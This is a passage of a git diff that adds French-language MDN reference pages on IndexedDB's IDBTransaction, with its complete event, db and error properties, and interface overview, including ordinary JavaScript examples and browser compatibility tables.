+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">IDBTransaction</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("success")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("abort")}}</li>
+ <li>{{event("complete")}}</li>
+ <li>{{event("upgradeneeded")}}</li>
+ <li>{{event("blocked")}}</li>
+ <li>{{event("versionchange")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/IndexedDB/Using_IndexedDB">Utilisation d'IndexedDB</a></li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/complete_event/index.html b/files/fr/web/api/idbtransaction/complete_event/index.html
new file mode 100644
index 0000000000..78ced266c7
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/complete_event/index.html
@@ -0,0 +1,89 @@
+---
+title: complete
+slug: Web/API/IDBTransaction/complete_event
+translation_of: Web/API/IDBTransaction/complete_event
+---
+<p>Le gestionnaire <strong>complete</strong> est exécuté lorsqu'une transaction est complétée avec succès.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">IDBTransaction</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js;">var transaction = db.transaction(["customers"], IDBTransaction.versionchange);
+
+transaction.oncomplete = function( event ) {
+  ...
+}
+
+// qui est équivalent à
+transaction.addEventListener("complete", function( event ) {
+  ...
+});
+</pre>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("success")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("abort")}}</li>
+ <li>{{event("complete")}}</li>
+ <li>{{event("upgradeneeded")}}</li>
+ <li>{{event("blocked")}}</li>
+ <li>{{event("versionchange")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/IndexedDB/Using_IndexedDB">Utilisation d'indexedDB</a></li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/db/index.html b/files/fr/web/api/idbtransaction/db/index.html
new file mode 100644
index 0000000000..460fc2d4c7
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/db/index.html
@@ -0,0 +1,189 @@
+---
+title: IDBTransaction.db
+slug: Web/API/IDBTransaction/db
+tags:
+  - API
+  - IDBTransaction
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/db
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>db</code></strong> de l'interface {{domxref("IDBTransaction")}} renvoie la {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée associée à la {{domxref("IDBTransaction","transaction","",1)}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myDatabase = transaction.db;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("IDBDatabase","connexion","",1)}} à la base de données sous la forme d'un objet <code>IDBDatabase</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, on ouvre une {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction","",1)}} en lecture/écriture pour {{domxref("IDBObjectStore","accéder au magasin d'objet","",1)}}  <code>"toDoList"</code> et y {{domxref("IDBObjectStore.add","ajouter","",1)}} un enregistrement. Notez également les gestionnaires d'événements {{domxref("IDBTransaction.oncomplete","oncomplete")}} et {{domxref("IDBTransaction.onerror","onerror")}} de la transaction qui affichent sur la page le résultat de la transaction.</p>
+
+<p>À la fin, la méthode <strong><code>db</code></strong> sert à renvoyer la connexion à la base de données associée à la transaction.</p>
+
+<pre class="brush: js">//Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += 'Connexion établie.';
+
+  //Affecter la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // Exécuter la fonction addData () pour emmagasiner
+  // les données dans la base
+  addData();
+};
+function addData() {
+    //Un nouvel objet prêt à être emmagasiné
+  newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // Ouvrir une transaction de lecture / écriture
+  // pour permettre le traitement des données sur la connexion
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // En cas de succès de l'ouverture de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction complété : modification de la base de données terminée.&lt;/li&gt;';
+  };
+  // En  cas d'échec de l'ouverture de la transaction
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Erreur transaction non ouverte, doublons interdits.&lt;/li&gt;';
+  };
+
+  // Ouvrir l'accès au un magasin "toDoList" de la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Ajouter un enregistrement
+  var objectStoreRequest = objectStore.add(newItem[0]);
+  objectStoreRequest.onsuccess = function(event) {
+    // Signaler l'ajout de l'enregistrement
+    note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+  };
+  // Renvoyer la connexion à la base de donnée
+  //associée à cette transaction.
+  transaction.db;
+};
+ </pre>
+
+<p class="note"><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-db', 'db')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/error/index.html b/files/fr/web/api/idbtransaction/error/index.html
new file mode 100644
index 0000000000..a66b371b97
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/error/index.html
@@ -0,0 +1,189 @@
+---
+title: IDBTransaction.error
+slug: Web/API/IDBTransaction/error
+tags:
+  - API
+  - Erreur
+  - IDBTransaction
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/error
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>IDBTransaction.error</code></strong> de l'interface {{domxref("IDBTransaction")}} renvoie un type d'erreur lorsque la {{domxref("IDBTransaction","transaction","",1)}} échoue.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myError = transaction.error;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>L'{{domxref("DOMError","erreur","",1)}} correspondante qui est un objet <code>DOMError</code>. Il y a différents types d'erreurs possibles : l'erreur obtenue peut ainsi faire référence à l'objet de la requête qui l'a déclenchée ou à un échec de la transaction (par exemple <code> QuotaExceededError</code> ou <code> UnknownError</code>).</p>
+
+<p>Cette propriété vaut <code>null</code> si la transaction n'est pas terminée ou qu'elle est terminée avec succès ou qu'elle a été annulée avec la méthode {{domxref("IDBTransaction.abort","abort")}}.</p>
+
+<p class="note"><strong>Note :</strong> Dans Chrome 48+ cette propriété renvoie une exception {{domxref ("DOMException")}} parce que le type {{domxref("DOMError")}} a été retiré de la norme DOM.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, on ouvre une {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction","",1)}} en lecture/écriture pour {{domxref("IDBObjectStore","accéder au magasin d'objet","",1)}}  <code>"toDoList"</code> et y {{domxref("IDBObjectStore.add","ajouter","",1)}} un enregistrement. Notez également les gestionnaires d'événements {{domxref("IDBTransaction.oncomplete","oncomplete")}} et {{domxref("IDBTransaction.onerror","onerror")}} de la transaction qui affichent sur la page le résultat de la transaction.</p>
+
+<p>La propriété <strong><code>error</code></strong> sert dans le bloc <code>transaction.onerror = function(event) {...}</code> afin d'afficher le type d'erreur qui est survenue.</p>
+
+<pre class="brush: js">//Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+  //Affecter la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // Exécuter la fonction addData () pour emmagasiner
+  // les données dans la base
+  addData();
+};
+
+function addData() {
+  // Créer un nouvel objet prêt à être emmagasiné
+  newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // Ouvrir une transaction de lecture / écriture
+  // pour permettre le traitement des données sur la connexion
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // En cas de succès de l'ouverture de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification de la base de données terminée.&lt;/li&gt;';
+  };
+  // En  cas d'échec de l'ouverture de la transaction
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" s\'est produite, échec de la transaction.&lt;/li&gt;';
+  };
+
+  // Ouvrir l'accès au un magasin "toDoList" de la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Ajouter un enregistrement
+  var objectStoreRequest = objectStore.add(newItem[0]);
+  objectStoreRequest.onsuccess = function(event) {
+    // Signaler l'ajout de l'enregistrement
+    note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+  };
+ };
+ </pre>
+
+<p class="note"><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#transaction', 'IDBTransaction')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/index.html b/files/fr/web/api/idbtransaction/index.html
new file mode 100644
index 0000000000..a48077f753
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/index.html
@@ -0,0 +1,304 @@
+---
+title: IDBTransaction
+slug: Web/API/IDBTransaction
+tags:
+  - API
+  - IDBTransaction
+  - IndexedDB
+  - Interface
+  - Reference
+translation_of: Web/API/IDBTransaction
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>L'interface <strong><code>IDBTransaction</code></strong> de l'<a href="/fr/docs/Web/API/API_IndexedDB">API IndexedDB</a> fournit une transaction statique asynchrone vers une base de données grâce à des attributs de gestion d'évènementns. Toutes les opérations de lecture et d'écriture de données sont effectuées au sein de transaction. Il est possible d'utiliser {{domxref("IDBDatabase")}} afin d'initier des transactions puis {{domxref("IDBTransaction")}} afin de paramétrer le mode de la transaction (c'est-à-dire s'il est en lecture seule ou en lecture/écriture) et d'accéder à un objet {{domxref("IDBObjectStore")}} pour réaliser une requête. On peut également utiliser <code>IDBTransaction</code> pour interrompre une requête.</p>
+
+<p>S'il vous garantir une certaine longévité (par exemple si on utilise des données critiques qui ne peuvent pas être recalculées par la suite), il est possible d'écrire le contenu de la transaction sur le disque avant la diffusion de l'évènement <code>complete</code> grâce au mode expérimental non-standard <code>readwriteflush</code> (cf. {{domxref("IDBDatabase.transaction")}}).</p>
+
+<p>On notera qu'une transaction commence dès sa création et pas lorsque la première requête est lancée. Par exemple :</p>
+
+<pre class="brush: js" id="comment_text_0">var trans1 = db.transaction("toto", "readwrite");
+var trans2 = db.transaction("toto", "readwrite");
+trans2.put("2", "clé");
+trans1.put("1", "clé");
+</pre>
+
+<p>Une fois que le code est exécuté, le magasin d'objet contiendra la valeur "2" car la transaction est lancée après la transaction <code>trans1</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Cette interface hérite de {{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("IDBTransaction.abort")}}</dt>
+ <dd>Cette méthode annule les modifications apportées aux objets associés à cette transaction. Si la transaction a déjà été interrompue ou est terminée, cette méthode déclenchera un évènement d'erreur.</dd>
+ <dt>{{domxref("IDBTransaction.objectStore")}}</dt>
+ <dd>Cette méthode renvoie un objet {{domxref("IDBObjectStore")}} qui représente le magasin d'objet associé à cette transaction.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBTransaction.db")}} {{readonlyInline}}</dt>
+ <dd>La connexion à la base de données associée à cette transaction.</dd>
+ <dt>{{domxref("IDBTransaction.mode")}} {{readonlyInline}}</dt>
+ <dd>Le mode de la transaction qui définit la façon dont on accède/modifie les données. Les différentes valeurs sont définies ci-après dans la section Constante. Par défaut, la valeur est <code>readonly</code>.</dd>
+ <dt>{{domxref("IDBTransaction.objectStoreNames")}} {{readonlyinline}}</dt>
+ <dd>Cette propriété est une liste ({{domxref("DOMStringList")}}) des noms des objets {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBTransaction.error")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le type de l'erreur qui se produit lorsque la transaction infructueuse. Cette propriété vaut <code>null</code> si la transaction n'est pas finie, est finie et validée correctement ou a été cloturée avec la fonction{{domxref("IDBTransaction.abort")}}.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'évènements">Gestionnaires d'évènements</h3>
+
+<dl>
+ <dt>{{domxref("IDBTransaction.onabort")}} {{readonlyInline}}</dt>
+ <dd>Ce gestionnaire permet de gérer l'évènement <code>abort</code> qui est déclenché lorsque la transaction a été interrompue.</dd>
+ <dt>{{domxref("IDBTransaction.oncomplete")}} {{readonlyInline}}</dt>
+ <dd>Ce gestionnaire permet de gérer l'évènement <code>complete</code> qui est  déclenché lorsque la transaction se finit correctement.</dd>
+ <dt>{{domxref("IDBTransaction.onerror")}} {{readonlyInline}}</dt>
+ <dd>Ce gestionnaire permet de gérer l'évènement <code>error</code> qui est déclenché lorsqu'une erreur empêche la transaction de se finir correctement.</dd>
+</dl>
+
+<h2 id="Les_différents_modes">Les différents modes</h2>
+
+<p>Une transaction peut s'effectuer dans l'un de ces modes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>"readonly"</p>
+
+    <p>(0 dans Chrome)</p>
+   </td>
+   <td>Ce mode permet de lire les données mais pas de les modifier.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>"readwrite"</p>
+
+    <p>(1 dans Chrome)</p>
+   </td>
+   <td>Ce mode permet de lire, d'écrire et de modifier les données du magasin d'objets.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>"versionchange"</p>
+
+    <p>(2 dans Chrome)</p>
+   </td>
+   <td>Ce mode permet d'effectuer toutes les opérations, y compris l'ajout ou la suppression de magasins d'objets et d'index. Ce mode doit être utilisé pour mettre à jour le numéro de version utilisé par les transactions démarées avec la méthode <a href="/fr/docs/Web/API/IDBDatabase"><code>setVersion()</code></a> de <code><a href="/fr/docs/Web/API/IDBDatabase">IDBDatabase</a></code>. Les transactions lancées dans ce mode ne peuvent pas être lancées en même temps que d'autres transactions. Ces transactions sont parfois qualifiées comme « transactions de mise à jour ».</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on ouvre une transaction en lecture/écriture sur la base de données et on ajoute des données dans le magasin d'objet. On notera également l'utilisation des gestionnaires d'évènements attachés à la transaction qui permettent d'indiquer la réussite ou l'échec de l'ouverture de la transaction. Pour un exemple complet, voir <a href="https://github.com/mdn/to-do-notifications/">l'application de notifications To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">voir également la démonstration <em>live</em></a>)</p>
+
+<pre class="brush: js">// On commence par ouvrir la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Initialisation de la base.&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture
+  // dans la variable db afin de l'utiliser
+  // ensuite
+  var db = DBOpenRequest.result;
+
+  // On utilise la fonction addData() afin d'ajouter
+  // des données à la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet prêt à être inséré
+  // dans la base de données
+  var newItem = [ { taskTitle: "Promener le chien", hours: 19, minutes: 30, day: 24, month: "Décembre", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // vers la base de données afin d'ajouter des
+  // données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On indique le succès de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification finie.&lt;/li&gt;';
+  };
+
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction non-ouverte à cause d'une erreur. Les doublons ne sont pas autorisés.&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objet pour la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // On ajoute l'objet newItem au magasin d'objets
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On indique le succès de l'ajout de l'objet
+    // dans la base de données
+    note.innerHTML += '&lt;li&gt;Un nouvel élément a été ajouté dans la base de données.&lt;/li&gt;';
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#transaction', 'IDBTransaction')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(23)}}{{property_prefix("webkit")}}<br>
+    {{CompatChrome(24)}}<br>
+    {{CompatChrome(38)}} (dépréciation des préfixes)<br>
+    {{CompatChrome(57)}} (retrait des préfixes)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatChrome(38)}} (dépréciation des préfixes)<br>
+    {{CompatChrome(57)}} (retrait des préfixes)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>objectStoreNames</code></td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("50.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(35)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Webview Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
